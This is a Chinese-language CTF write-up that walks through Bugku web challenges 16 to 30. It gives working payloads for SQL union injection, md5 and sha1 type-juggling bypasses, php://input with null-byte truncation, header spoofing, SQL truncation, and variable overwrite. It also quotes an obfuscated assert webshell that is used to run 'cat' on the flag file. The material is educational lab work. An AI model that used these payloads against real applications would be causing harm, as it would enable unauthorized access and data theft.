0x01 web16
- 扫描得index.php.bak
- 关键代码+我的注释如下
include_once "flag.php";
ini_set("display_errors", 0);//不报错
$str = strstr($_SERVER['REQUEST_URI'], '?');//从?开始截取URL
$str = substr($str,1);//剔除?
$str = str_replace('key','',$str);//替换key为空,双写绕过即可
parse_str($str);//把查询字符串解析到变量中,如name=Peter&age=43
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){//构造md5相同即可
echo $flag."取得flag";
}
payload:?kekeyy1=240610708&kekeyy2=QNKCDZO
0x02 web17
直接联合注入
payload:' union select 1,2,3,skctf_flag from fl4g #
0x03 web18
import requests
url ="http://114.67.246.176:14350/"
s = requests.Session()
req = s.get(url)
a = req.text[req.text.find('<div>')+5:req.text.find('=?')]
print(a)
aa = eval(a)
print (aa)
d = {'value':aa}
req = s.post(url,data=d)
print(req.text)
待整理
0x04 web19
跑脚本
import base64
import requests
url="http://114.67.246.176:16142/"
r=requests.session()
header=r.get(url).headers
b64dc=base64.b64decode(header['flag'])
flag=base64.b64decode(b64dc[-8:])
data={'margin':flag}
r=s.post(url,data=data)
print(r.text)
0x05 web20
- 观察URL发现base64,解出keys.txt
- 尝试index.php base64编码后接在URL上
- 更改line的值,显示出代码
- 跑脚本:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
- 在cookie中加
margin=margin
,filename=a2V5cy5waHA=
,源代码查看即可
0x06 web21
- 抓包后弹窗,发现重定向,删除重定向
- 解码剩下的字符串,发现是base64,解得一段URL编码的的js
- 解码得代码
if(!$_GET['id']) { //id!=0
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) {//a中出现.则退出
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r'); //php://input 再post上传bugku is a nice plateform!
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
//id使用弱类型绕过
$flag = "flag{***********}"
}
else { print "never never never give up !!!"; } ?>
file_get_contents() 函数读取的值必须为数据流。因此这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
※源码中待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 $b 的第一个字符组成,若令 substr($b,0,1) = “%00”,即满足 “1114” 与 "111"匹配
注意:这里传参时要用%00【URL的00】
payload:
import requests
res = requests.get('http://114.67.246.176:12767/hello.php?id=0e1&a=php://input&b=%0012345', data='bugku is a nice plateform!')
print(res.text)
0x07 web22
这道题没什么,就作者送过狗一句话
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
payload:http://114.67.246.176:14612/?s=system('cat flaga15808abee46a1d5.txt');
0x08 web23
<?php
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
//trim移除字符串两侧的空白字符或其他预定义字符
- 就传参,正则匹配成功就行
.
匹配除 “\n” 之外的任何单个字符
* 匹配它前面的表达式0次或多次,等价于{0,}
{4,7}最少匹配 4 次且最多匹配 7 次
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
- payload:
id=keykeyaaaakey:/a/keya@
可见
.
的匹配与*
的匹配不冲突
key.*key
成功匹配keykey
0x09 web24
- 源代码中找到
code.txt
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){//md5绕过,简单
if(!strcmp($v3, $flag)){//数组绕过
echo $flag;
}
}
}
?>
payload:?v1=240610708&v2=QNKCDZO&v3[]=a
0x0A web25
参考博客
SQL约束攻击大致就是
①SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符
②只能15位,输入了16位,数据库保存了15位,截取字符串绕过
payload:注册admin空格*n【后面n个空格】然后登录即可
0x0B web26
payload:Referer: https://www.google.com
0x0C web27
md5碰撞漏洞之0e
payload:?a=240610708
0x0D web28
请求头中加入
①X-Forwarded-For:127.0.0.1
或
②Client-ip: 127.0.0.1
0x0E web29
考察sha1遇数组返回false
payload:http://114.67.246.176:17602/?uname[]=1&id=margin
post:passwd[]=2
0x0F web30
考察变量覆盖,观察其代码意思是ac的值等于名为fn的文件的文件内容
①题目提示是txt,尝试访问flag.txt得其内容,构造变量覆盖即可
payload:?ac=bugku&fn=flag.txt
②payload:?ac=x&fn=php://input
post:x
建议使用burp来post,hackbar的post偶尔会抽风